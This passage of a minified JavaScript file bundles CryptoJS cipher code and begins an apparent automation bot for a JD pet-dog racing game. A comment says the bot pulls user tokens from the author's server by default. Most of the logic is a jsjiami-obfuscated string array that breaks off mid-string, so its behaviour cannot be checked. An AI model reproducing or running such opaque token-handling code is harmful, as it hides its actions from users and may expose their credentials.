this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +const $ = new Env('宠汪汪赛跑'); +//宠汪汪赛跑所需token,默认读取作者服务器的 +//需自行抓包,宠汪汪小程序获取token,点击`发现`或`我的`,寻找`^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=`获取token +let jdJoyRunToken = ''; + +var _0xodY='jsjiami.com.v6',_0x1018=[_0xodY,'VcKxVVV2w7PDtsOWwqzCo8Oqw4hN','44GN5o+c56eH44CS5p6y5a+K5p+156ezXcK1A2rDkuWkkeaXvO+/kuiusOmEj+aWveiOieWMlA==','w6cgP+eVheaKh+W9u+S/jOaTk+e3kVLmnqXlrqfmnYXnpLnDkuWzjuernuW4qj/ng6Xlhqrlua3pgLnnmY085Y6T54+yMBMdfADlj77ljZvojZDljoNDEBzDnsKq','w54Dwr9fBA==','w77Di8OV','wovCj+e6t+S4s+mdpuWRuOWMuOeaveS6m+i+m+ignemAv+ivp+WJoeWLvEU=','UgLDlQ==','w60hHsO3','wp4uwpw=','a+i2k+WNmw==','wp3DrjTCosOt','YsO15byf5aex57uW5aec5Y2IwpjCow==','ACzovKbooY/pgZforp/liZXliZQ=','w4YgKxzDig==','SsOfd8KFHA==','CcO6Sn/CpA==','A8Oew53CrTc=','O2BSwpDDtT4=','wqfCuMOGTQ==','w6MRTcKiw7Q=','w5jDkMOcaA==','HTzDucKrKg==','RMODdA==','w6nCqwLCt8O+','bBMfZMKH','bsKGZ31M','wr7CkiXDiw4=','wrYPwq8Iwro=','6YCF6K+25Yu05Ymr57mU5py6776N','woIgwokOwoU=','W8OZcMKcFsOZw78=','w70yA8O7','wpVQw4LCpsOV','GcOMw67CuzA=','O2DCkmzCpQ==','wqzDuh3CgsOg','fsOEQMKeKQ==','fDLCokkt','wppow4rCuMOl','5bSK57q86K+Y5aa+5Yyxw5U=','wrzliprliJTovqjmiKPogInmrYMyw4/Dn8OBX8OAw4lqBuaakOS9uuiFk+W2hS0=','fATCvQ==','6Z2d6LSx6LeG5pa06Ze+bQ==','w4Vkw6wZcw==','wp7CmMKo','5YqW5YmO5aSu6LSf77yD6K2E5ae+5Y2zw5g=','RRsMccKw','w6xHw6snXQ==','w6fCpsOw','5b2j5aag57u55aS15Y6pw4Q=','w6BzL8Kfw7XDpcO4wrlP','dhUme8Km','wqDDv3lTwqzCgcKB','O8O9bg==','W8OJZ8KbEsOew60=','KWrCt2vCuA==','wpYEUMKm','w70IGSPDmQ==','wpzCrsOTacKZ','OcOtKcKPwq95w6gZw6k=','ejbDrzXCmg==','VcOLMTHCog==','w4JswqnClcOAwr/CisOiHg==','w7PCnS3CksOB','QsOIX8KQFMODw6I=','GMOgURU1JMKDUcOR','Sj/Ck1cs','w6o1w7Jzw74=','wpnCjzo=','5LmB5Li16Lam5YyE','PmtYwpLDuQ==','wqLorZLphaLmlrDnm4jlvq3ojI3lj77DkcKYw4TDhD0wSsO8wpfCicO4GmQ7wqpUNcO/eMKcdlPDksOmw67ChsOkwrcODmlSBMKMwo52w78fB2U7LMKzCQ==','wrHDqC95fg==','w6RDwrzCtsOrwrnCgw==','Y8Oqw5FRYg==','wq8dwpgSVQ==','IsOaw4LCmiMrwot4wqoTKsKa','wr8gaQ==','w7gMb8KBw7LCgn8=','dhh7','SgdJSQ1a','w7jChTvCs8O1','NgLCtGwnC8KCDMKODzB0DzRjw5DCscOfwoMWBC7DlFp1M8OubDAWScOiw6jCjQBOwpvCoDsaw5QdwqkQZjTDsMKzw5vDt8OzaMKGwqjCpXshw5vDssK0','w6AAGw==','w5LDqT7CscO6w69KZ8OFwoPCsgs8w7vCpcOhRcKNIRZuMjRqchIk','w601PcO8Rg==','McOvVWDCkA==','wqbCn8OecMKO','NMOocGMG','wrzCs8OtwqfDpA==','REvDt8K3','fQVfaCk=','wpXDilJGbg==','wqnCvsOU','w70qQcOS','wrkSJ8OT6K+95rO/5aa46LaU','FMOUWWXCsArCsXRP','KMO+clrCmQ==','RT1QLEc=','w4NWGsKew4o=','czkx','eOWItuWKm+i/ruaLquiBoOausntTw4opV0jCnUkS5pmZ5LyI6IeL5bW1wpk=','w7AxVcOAdA==','XgYf6K+g5rKc5aez6LW1','wrPDhQQ=','NnVMwpvDqDXDowAow6zDocOmbgPCsx0=','AMOUHA==','P2BQwofDnjnDqQ==','w7nCg8Ogwpho','w70TQsKOw7E=','w71Uw6U3cA==','wpMmwpElwqU=','w7wva8KGw6Q=','LCDDl8KPMMON','w5Q5w7lrw4VDLgZp','w7LDjcO6wrPDsQnCtsOqQFwTfcK0WmvCssOGwp9VWWMgwr8TwpHDgsKcwqLCtC0CEcOafRbDnsO0wpUXwqjDjsKzw7l+PmjDrsKxwqUYw7TDtw==','EMOfRBEk','w5LDsjXCtsOGw6taXsODwp/CsixswqXDucOIXsKnPwJiMj1majsfw4vDrcKNwp4EdsKLEMOAwrPCu8KNwq0=','w5ROw6BIwos=','w7nCqsOlwrl+','wobCgMO9d8KO','wr7DmxpId08=','w5MaLcOiSw==','w7xNM8KKw6A=','w7YHeA==','JGbCqVrCpA==','a8KXW3x7','GgF0ERE=','NwjDtsK3Pg==','Wy1ZEW0=','b8O1w5dVeA==','WEvDo8KGw4LDow==','w75GwoLCqsOp','w7jCvMO0wqJ4wo8p','FEluwpPDrQ==','w7rDgcOew7M/w5DCrA==','wr7Co8ODTMKfwovCo8KbaMOFKT8=','bMOiRsKRCw==','wr8vwroFWw==','Bm/CnQ==','6LWg6Lav5Yik5Yuv57i/5p2Y','w5xhw59ZwoI=','bz9uaRE=','wpwEScKi','wprCksKjw6rChMK4w7kTYgI=','dzM6Z8KBwq07','5ouH5YmSwr/ojpLlvbzniLnnsZ8=','W8K0a1s=','woAkwowcwpJFwqjDlAk=','cR95EG8Qw53Ckm0=','w6MHe8KMw7XCglQ+woE=','UwzDgizChU0=','w5I2J8OofQ==','wpLDsjnCosO7w6BcbcOSwog=','wpsEU8KcwpLCkCQf','wrrDhUnnlJjmi77lvZzkvJPmkZLntKLDqeafvOWtpeadgOekp8K+5bOQ56u25bi2JueDvOWEtOW7u+mBsOeamh3lj6bnjrdCwo7Dt8KFwqDlja3lj4nojZ/ljITDvyjClsOlPQ==','eB7CqlUb','w6luOg==','CsKy57uQ5Lif6Zyz5ZCA5Y+c55q95Lub6Lyd6KOV6LSG6Len5YmX5Yu3GQ==','w7/DhcOC','w7FzNMKd','w7QyBw==','ZBnCs3c=','GcOJFw==','aei1jeWPlw==','wqVF5by95aSI57ij5aaI5Y6DTzE=','wqVF6L+m6KKP6Lah6LSk5Yuh5Yu0','KWXCr2/Ckg==','w4nCgi/CjsOF','Pn3CiFbCkQ==','w4Bvw4o=','6IaL5bWE6LaK5YyZ772K6La26Ly4','5o+A5LuPwo51JRrCieW9neW7mUA=','w6/CqMOjwqA=','w7bCgSw=','w75CwoTCi8OtwrPCiMOZFcKQwrzCjsKmw40=','wowMb8Kvwr8=','VxHDqg==','w7zDrcOKw7Ep','bwVw','5b2q5aeL6Lah6LeF5Yup5YuA5aSy5Y+Qw4k=','wrPDnRxXdjYCXUQ=','w79Yw7V9wpM=','EsOAw4/CjSM2wow=','5p6d5a+H5py056e/5a2a5rKf5rCiGwVITzXlpI/ml4c=','wp5Mw7TCl8OCw7PDpQ==','w79Qw6wDeQ==','fgrCt38=','w5wpGA7DtA==','w50pVcKhw4vCiX0iwoI=','w6JrKsKIw54=','wrAnwqYeWQ==','GsO3Vzw1DsKJW8OQK8Kewq9Qw4TClg==','w6kyBcOpbw==','M8OFw6XCqzM=','XQzDpBHCgsKgecO9w6Ih','wqAxwrI4wpU=','w4TDgMOBZ8OHwpA=','5LuS5aSY5Y+25L2Y5p6f6Lyu6KCE6YOv6K6d5YqK5YqxUQ==','CSHDjcKeIA==','VwbDiRnCqFBT','wp8ENsO0wq0=','w41ww51Gwo4SwpTDgsK4wrjDrMKzKCTCuxs=','wr/CucOBVcKYw5Q=','HcOVTF80','w4sPbcKFw6Q=','wrbDmDHCjsOk','UTvCk+ivreawjOWljui3gg==','w5IvR8Kjw4s=','UwTCtXEnGg==','w6TDrsO2TMOnwpfDkU3CtQ==','wr7CvMKWw5bCg8Kjw7MCeQ==','w7zCpX5CwqjChcOcJGTCqMO6wqsmbsO9w7HCnsOWQWrDoA3Dt3NXWGlKwqrDs8KTwoV9ScKFwrDDijPDksOoNhcQwrs0WHzCjyXDo8O5w4nCr8OC','bcOBw5U=','wrDCo8O6fcK5','wpo5KcOzwog=','w74MZMK6w54=','QBxSEVo=','w48VChTDhA==','F0VuwpjDtg==','bsKPVEBn','YR1TRwA=','wprCnTDDnQ==','w6BrNMKTw5U=','w7ZGw6thwpA=','wprDoTh/VQ==','SArDvx3CgsKjQMOyw7U=','woc8EsOOwpk=','wqIjwpkRwoQ=','w5kGQ8OTcQ==','wrHCjcO5','5ouM5Yi7COiOk+W+j+eLqueysw==','WMOdAjY=','wokgwrIHalTCr8Kldg==','wpDDoSTCpg==','YwXCsGoA','wqpPw47CoMOE','LWbCtEcn','GMOON8KGwog=','YAZQSxBaSMKHwr3Cq8OkWg==','5Lql6YOW6K6h5Yq+5YmF5ouS5YuPw7TojL/lvrE=','wrxuw4bCgsOl','wrfCpMOdwqgFwpLCnDsJ','wrHDjEVhcw==','D8OnTSgiEMKNR8OQ','5Lim6LWo6LWe5YuG5Yqu5oic5Yq4eOiMiuW8oeeJs+eynw==','w65Gw6E9UHtGJsOZ','UhDDgg==','wr8JLMOh','5Li15LmP6LWR5Y2t','fApLUBA=','MWPCmg==','wr7DuX0=','VsKceGJ1','QkbDlMKUw7s=','w78qZMK9w5Y=','wpfDvyfor4/msYblpYTotYg=','WQbDuxfCtQ==','w6Zhw6FQwrQ=','w6tFw7k=','w7vCnjvCqMOOw6kOw5hZw53Ds8OTwoJOV8OA','w7rDkMOGw7MTwoU=','ZRnCtg==','w75UwpjCgMOv','ScOJw4Vabg==','w5sLATrDuw==','WAbDkS/ChVZdJkVfc8OqwqBIwoY=','IwTDocKoDcOHwqTCtcOK','w75HJcO2wo5swp/DncKoKMKzw6pjFToFwp7Co8ORwrhkFMKFa1ILRcKYYEpPw6ZeVcKSwp3CmWsFViomwprDl0V5G8OQw7Zhwp7Dj3DDtMObNB4hRGTDjSE5w7LChnXDpcKRwo8=','wofCr8OTb8Kp','OsOgJ8KQwpE=','PcO0V37CjQ==','JR3DrsKKDA==','wq/CpcOnwrMq','MMOXWkIL','w75uw55nwqU=','wqdxw5DCksOK','wp8ASQ==','wrzDizFSawwyUE82OMOLdcKXFyZc','UgzDlxHCpA==','HgTDvcKuOA==','S8KFeGte','wrzCg8Kqw67Cvg==','BcOQw6bClCg=','bCIkfsKwwqU5wr7DsQ==','JsOaX3Mc','DwRH','Sx/DvwfCiQ==','w7Q2BMOpa8Oaw6w=','5o245LiBw7tvw5jCncOU5byq5bujw4o=','TkbDoMKww6A=','w5gDPuitreaxiOWmjOi2rA==','VxHDqjHCnsK2','GXTCiH0uPCZ9wpA=','T8KgbFI=','eDMic8K/wrYx','OjnDl8KRAA==','w6UHf8KZ','w7Z1L8KZw6nDgQ==','wrTDmlNVwrk=','AG3CmGci','AWlGwrTDsg==','6K6g5Yu66Zqz5oe45Z6pFMOtDAvDsOi8nOWGrOahguS+nuaXpeWHtuWvhi/lurnorrHpgo7ovpvohqvmnprlj5PojbLljo8mwpvDpjvCssOv','Twx0Bnw=','O8OZYHUo','wrDDi2Vhak8=','ehxUSwpYc8KEwrM=','H8OLEsKwwoE=','w54sBAfDvQ==','RATCsX8g5o6v5LmD57qM5p29QA==','T8K0bUlq','DMOQw5/CnSciwpo=','I8OKCsKAwpA=','44KD5o6b56SW44Km6K+U5YWL6I6r5YyX5Lu25Luu6LS15Y2E5LidJ0k+GcKiOcK355it5o+i5L2f55erw5QjBMK+QxHnmKPkuorkurfnrafliYfojqnlj4s=','KWhUwp3Dug==','GUfCk1TCsw==','wpwgwpYY','OcOBw6DCpwk=','O8O3Z3MlZQ==','wqHCi8O1wpEi','UkjDq8Ksw4I=','w5JpO8Kaw6g=','wrXCm8KCw6jChw==','w7xGwp7CvcOjwr0=','woEtwpIewoU=','wr7DlExDdw==','w60Ew7ZEw5w=','wqPCo8Oawp8OwoHCjggfw4Y=','JCzDqsKAPw==','VMOIAifCicK5woUNOsOrw495E2YiwqUawpJwMcKIIBYcL8ObMMO/w60LK3A6OcORwrHDi3QTwopow5dhw5cBw7lbBMK+w6HDj8KWbcKOdsOWwp43B8K9wrDDojHCsgLDnMOLwrk=','w5/Di8OIw6oMw5PCpsOkwo3CnsOTw5DCpV4KwrnCq8KyBgDDssKhfhQpwqXDilVtw6jCuMKHwpl9b2AUHMOUwq5pW8OeWsKGw4DDtsKywpzCisOVw5bDt8KQe3kAVsKEwpdNw7UyfcKSw5Rawowiwq/ChsK5wofCjsONwosbw45kw7Q9w5NKwovCjMOlTVvCl3M4wqcowrLDhDAvQAbCmCx2w5RxcynDsMOWJWLChyBxwpkXDTTCisO4wr/Dtyx3wpEwYCrDicKuw6nChcKLHxPDtUQ4w5TDsSEQZsODa8Kvw7LDvTDDnMKzwr3DisKsasOkw5U=','w7tWw7s=','wp7DnGx1ag==','w5/ChwrCgcOu','wpbDhWR+Sw==','w6fCpsOwwoRvwo4=','ZQdB','w7XDgcOGw4USw5bCosKlw5zDoMKKwp7Dvg1g','w7jCvcOlwqhzwpszwqYp','DHLCk3EuPx9ywofDhQ==','wpTChcKmw7/CucKow4gOeQI=','TsOeesKaHcOOw5zCtl7CjQ==','b8OLJy/CiQ==','wrkiwqkZwoY=','w6MPLsOjccOKRsK5HQs=','w5HDqMO7ccO5','AUxd','ZeWEvuaNqOS9v3k=','NsK25pGa6L6H5our6IaZ5p6G5L+M5pWg5oqe5YSk57y55Lur5Yq856GH55mE77266KyM5LiL6KeC55mx5Y6Y5omi5p2l5Yqh5ZuULMK/w6EHMQ9AVw==','UMOTERLCiMOx','wo/DlnhpYA==','w6YlSMOSRWpywqQ+','VxfDkRnChAUXZ0V9e8Ozw70Yw5jCgsOGw5DCvsOFHg/Dh17DicKLw4xYH8On','w5ZKV8KnwrnCmicEA0YEMU0=','CQ9/fgHCgMOYwoIuXMOWwp5JJMOdwoMI6KKt5oio5Y6M55i06K+a5b24w58xwqQlw4DCl8O/w5/DuB3CtcOIw6zDmEjCvRluFsKjwojCkcKjTn/CsxVAw73CrsKeW8KqwpxuMVzCrMKhRcOWwqsKwrE0QMOLYcKSe8Klwp4RWcOuYQ4beB7DqgZMJsK7MMOewrXDlsKTIsOVQ349w6PDqsONwr16w6DDin7DnsKTw4N0ZErDo8O/WDvDm8KEwrMERMObwoLDuTQZwoIOO8Kwwq1iZE3Ctkgvw5IwCsOSXxAEdMKzw5EEDUbDicKuEmrCmAZf','C8ORw7PDmCUhw4Zmwptca8OMwqJzw5hFwq/ooKrmiarljLrnmY7orarlv5fDr8KGw7DDoMKrw5NeAcKBw54ebVJVw4oGwq1wCMOpFzxEwos3CsO/PsO3AsOkIMKzZlXDlsOWRcKww7XDusKuRGHCgcOtasKhwoZUw5jCisKgHsKHw6zDvXM7wpMCIcKcaMOzX8KJTMKgwq8Ww7t/AVHCrxtkEcKiwrVhw6gYHR7DlcKNesK1MzxwwqYSw4QvbAU0w7hcPMO4wq3ClcKfwoAywqFAG8OgIcKtwr/DpyLDmg3DgkVLcsO7wqzDlkZXw5nCrBzDo8OtdjPCjg5XwoZAw5E8wpMfZ8KJwpTDk8K7RsOaw7cew4Z+w7Vew40+IcOTfhQ9PcKFwoFKwphUw7zCoyXCvnXCjALDqcKNwrvDkcKdFcOMw63CjMOWMQUiaMKbY1pAO8KJw4vDlg==','QsOITMOJEMOOwrXDrFXDiMKLKwfDpsOqCQ==','6KGZ5omv5Yyv55ie6K2n5byKwqtU','B0dlw73Crl5zGnITw6FmVSLCnMOP','wrnDrkUEw7zCk8OELDXDt8Ksw7QrKsKswr0=','wojCmMKgw7XCuMKjwq1f','F8O2fExxAcOZVsORGMKUw7BGwpjDj1A=','CQ9/fFPDl8OVwoQqXMKBwpQddcOZwoM=','wodNw5/Dh8KRw6bDoAlsw43Dn2LCmMOVQsOx','wrTDr25kwqDCn8KX','GsO3Vy4uCsKJT8ObFcKSwo5FwpjDn1HDiQ==','w7tJw6YfGSxDMcObw5rDhUXDgcK1IwrDjQ==','wr3DlHJIcV58w73DlMKTUMKlw51kUMKZ','Z8Orw7taeMO9csKmwoYew4EiwpfCm8KmwrPCqFJ5w745wqwGYMOVwqYmNMKQw4pkw47Dj8O7w6JMfw3Dj8OKw5TCkV/DqcKJw59Ew4fDtC7CnsKaw4fDhEtYw4YYH8OBwqvCl8KxwqjDh8KOw7x+w6TCul8cwokKw4tcwrjCrMKfc8KGw7bDuV3Cp8Kow6pDwrnDuA1YAcK/VkTDjjUYe8OPR3rCvVBhbsKVwoHCicOWOcOywrHDuG0kwq1PSMKzC8KDYC9SwoR7dUAZITfDiBZ4w4Nhwrk=','wolbw6HChMKNw63DoF84wpnCgSfDiMKdFcKpZQ==','wpzCiCnDiB86bgsYFRfCjsKRwpXClXRac8KBdgtgXMKyQDJvwrjCq8Oiwr3DjsKkYGoawr4gFMKlwq06w4vDgFBswpfCk3jCssOFwofDmsO4bxAIwrrDncOUw75+w7LCjA==','RcK9Mllh','wrYcwqU=','w7vDl8O8w6wEw5o=','LXnCjms=','w4bCgGzDhFh8clhb','H8OCQsKcwol5w7Yvw7UIwrcjbMOZZA==','wrvCqMObQsKfwoY=','bg1SRgVLew==','N2jDj1zCvQfChcKQW8KvBlDDjEnDmg==','cx9kKg==','w7tWw7sLVHhG','GsO3Vx4mE8KN','w68ZGMOscMOXScK5HQ7Do8OJwp3Co2dAAA==','eR1VSg==','U0HDsMKnw5HDpW0=','BSvDp8KONsORwpDCucOKJF7DhWI8SMOtLg==','ZA9jJmsTw50=','w4YSKMOtdsOLXMKU','w6kKGAnDkcKhTA==','LCDDl8KPMMONwrzCmsOg','woBIw7A=','wpfDrz/CrMO8w6E=','C0pWwr7Duxg=','w7DCihTCrsOIw7Mww55Fw5zDgsKMwoFT','w6EXf8KF','wpPDpSTCo8O0w7BO','w68ZGMOscMOXScKiBhbDlcONwpHCkg==','CCrDjMKAOMOcwq4=','URrCvyvChsKrUMOLw6U8wr7DhsK+BADCt8KmwpQ=','ZQ1IRRBX','HzrDi8KM','TcOhw7VXdcOlcg==','eg/DqEUkEMKeAMKIFDR+HmxIw4HCq8Oa','J3BPwp8=','aQ4lHWAIw4XCv2B2w4Rlwq9SwrJ5w7XCvg==','6KG95oi35Y6O55q86K605b6zXgo=','PWFjw4HDojLCu0ckwrXCvsO6ZkDCuUY=','PMOCauiujeawheWllui3iQ==','wpzDpTzCt8OKw6tE','wrHCv8OcQMKFworCgsK/bcOW','44G/5o6f56aC44O16K6u5Yeg6I245YyG5LiI5LmO6LSR5Y2G5LiHAFfDqytMw44H55iI5oyl5L6g55aCw53CjRzCncKUw5rnmoTkuaLkurbnr4Xli4nojqnljrk=','wrTDkHZUawcywqbDn8KZX8Okwpl6EcKdE8OBKxFwwoF7wpbCoMKuYsOfUh7CoxAyQ8OFNQ/DlsOyw6vCjWl+','HMOmRmIi','44GH5o+V56SG44Om6K225YSe6Iy15Y6i5pyk5ayh5p6G56e15a6k5rCa5rK2BxBOJnE=','XWvDl+eXq+aKh+W8v+S/reaRjee0s1XmnaPlrb7mnJPnp49Q5bG356m75bmDw5LngKrlhJDlu63pg6znm6Q95Y6J54+swprDlQsywo/ljIvljIDojIzljbbDo3jCtsOcw5w=','wrzDiVNXwqw=','VR/DoBE=','BcOzw5XCqSk=','K8OObnPClQ==','wr/DmBvCvsOE','wp3ClMKiw5HCsg==','w6EOPCPDtA==','ZMOnSsKzJ8OFw6fCul4=','wrfDq25R','QcOfXcKQF8OP','WsK7aQ==','cTHDlCvCvsKRZ8OLw5gdwoPDqsKE','wrQGNw==','w5Z8w5YwZ1lpC8Opw7nDr3TDqg==','w7QuWMOTQnd9','CiHDjg==','w5Z8w5YwZ1lpC8O1w7PDqGHDu8OUWjvDulbDvw==','w7Bcw6g=','w5fotrnotY/kv5vlh5jnuqfotr7ljbflhqHpg5Lli5nliorDt+WmreaCp+W/j+WLqOi3luaIj+adv+WJqeS5hOWJu+WLpeafhOS+tuWKquS7qMK9IR1Kwo8g5Ly66IKd5Yiv5YmneA==','wptIw6zChsOGw7Q=','wp08wrAhalE=','wp8gwos=','w74aHwU=','wpnDoSTCpMO9','LnzCkWrCow==','w6sCw4xOw6U=','WEHDqsKkw4TDuQ==','w7Idw4lJ','Cei0sei3huWEiue7kwvDhMKLOSvCgj3kvofogLLku4nkuKPlmablrYrnm7giRnTovKLooLLli6/liJbCp+eFgOWTs+S4oei0leWNmuWFsumAu+S5m+WJsuS7ieear+WZp+Wsv+S9iue9j+WSrOW6t+WTnOmbsOacieaInuWNmui8vOiggeWLkeWInUTlp6vpnYTohYvltZjotozlj5XlhKzpgbzkuZrliJ1X6K6n576c54yU5aGZ5YyV6YSawrHCqsO6YMKqAcKbcMK5d8OGw5M1NzXCuzltF8OGZuS5nG9uagQt5YiO5byX5ZGD6LSr5Y245YWX6YC05LiG5YiwHw==','W8Ocf8KWBw==','TR/DoQHCicK3','UsK0bw==','w7vCvMOkwqk=','OsOzfXc5','woHCh8Kjw7PCtMKp','J8Onenw=','FMO8Rx8/KMKK','SAHDii7CvA==','w69uNMKe','w70cw5Y=','wpfCrcOHwp7DgivDlsOfcHU7VMKV','w6tJwoY=','IE/Co0sSDgFEwr3DucKow53CqQ==','OMOlYGwX','5oiu5Y+iVxUsAsKC77yv','XCDCg1YaEMKMOsKP','5puV5pWyfXs6aMOn','cDU7XMK7','w4Bvw45OwqA=','wr0HJg==','w77CrD7CvcOE','w70Na8Kow7XClA==','wosRT8KqwpTCkiEJEw==','LW3Cj3DCsg==','w69uw6p9wp0=','w77Cjz/CpQ==','w7E2G8OqWcOJw6jDhcOTcQ==','LCHDv8KzIw==','w78kSw==','5oir5Yuhwofoj4PlvbvniJPnsoc=','wqHCsMOHwps=','TsOZATbCiMOnw6RXNA==','w7xSwp7Ci8OpwqfCjMO5FA==','wrLDjhpZ','w7wKGwzDgsKxY8K6wp4=','w4Fzw4o=','ZwlLRw==','w7xoMcKHw7M=','w7ZsEMKnw6g=','F8O/bRYB','PsOhR3s1aA==','wo7DuCxQaQ==','w6sBGg==','K8O6w7XCsRQQwrEKwrYvFsKvwp8Ow6Qjw4bDjcK0','w6kSIA==','Iui3t+i3guS/peWEu+e5s+i2quWMqOWGtemAluWIk+WKg0nlpZTmgKflva/liLTot6fmirjmnoTli7zkuarli4jliq7mnqXkvI7lipnku75owpEuFMKUfOS9j+iDq+WKrOWIhR8=','MWxQwoPDpCQ=','NcO+dErClA==','cjcm','WsOxw7Jb','GMOHBMKgwos=','wqDCr8OaYsKg','SA7DoR3CmA==','w7ZxMcKZw7M=','UMOZGDDCjsOr','URHDpBo=','w7U8EA==','f+i3vei2oeWGi+e4unrDtxvCt07DqU3kvYDogrXkuK7ku4vlmbrlrKnnmok3P1LovILoo4jliIbli4Zy54ey5ZKP5LmI6LSO5Yy75YaP6YO45Lim5YiB5LqY55mJ5Zih5a+I5L+L57635ZCK5bi45ZCL6Zup5pyN5omw5Y6h6L676KO95YuA5YqzPuWksumdguiHi+W1pei0heWMsOWFl+mDkeS6lOWKu2/orp/nvbfnjZLlo5LljJTphbRowpHCmcKmJsKvK8KhGMKpWMKfw4U9wpZ5wqDCr8KfC2Tkubcca8KlD8Om5Yiz5b6i5ZGj6LSh5Y2O5YSZ6YKV5Lu75Yq9wp4=','IcOzZWE0fg==','w7TDjcOew7cFw40=','w6gcM8Oldw==','DcOnUBI=','wrHDhXZHcA==','wq7CksOywqjDsxs=','w6cBCAjDiMKaSw==','w6gHw5NP','R1TDqMKqw5PDtA==','wrgGJcOhwpdUw5c=','wpcQwqwPbQ==','w6xvOcKVw78=','EcOWKMK7wrc=','w6E+QsOlRnR9wrM+','wpblvLPlpYTjgb/kupnkuJDotIHljqM=','wrXDimZBYA==','wpExwpA6aErCoA==','w5Q5w7lrw51DIgpp','PG3CsHMo','wrTCjMO6wqTDqA==','RsOhw69UYMO5','wrgGJcOhwpc=','TBPDiQDCgw==','w6IKAgrDhMK9','wrrDix9MVA==','w68ZC8OpeMOHeA==','w6TDrsO2TMO/wpfDnUHCtQ==','w40+w4dIw7Y=','TcOhw7V7e8OkYcO6','w6HDpsO2YsO9','wonDnGNawr0=','WTxuKH4=','w7PCgC/CocOf','wrDDgWxDbFU=','wrzDtjfCg8O7','BiHDnMKBIQ==','JHVQwp7DtQ==','CT3DkcKBN8OMwp/CucOKIQ==','wpjDrzc=','NeWGpOaPj+S+oS8=','5Lu75aSV5Y6K5Lyf5p6K6L+A6KO96YC36Ky75Yun5YmLwow=','wpQKWg==','6Z2i6Len6Lan5pah6ZSOwok=','CyDDlsKB','w7zCnCLCocOJw64cw61Cw4A=','Gk7Ci1wU','YhhOI10=','LkvCjFUI','5piA5pWMCcOXB2UvHkvmiaDli7rxgY2x','C3DCingpOC5vwoDDmcKNwrfCjXHCjsKt','w7M3PcO1c8Ovw7zDn8OybcKAw5R0','6I6D5Y+yw5DCrMObw7RiazHmiaLlipnxiI6T','woFGw6c=','E8OzTh8=','w53Dl8ODCg==','wodjw4fCvMOp','wpbCh8Kmw6vClA==','e07D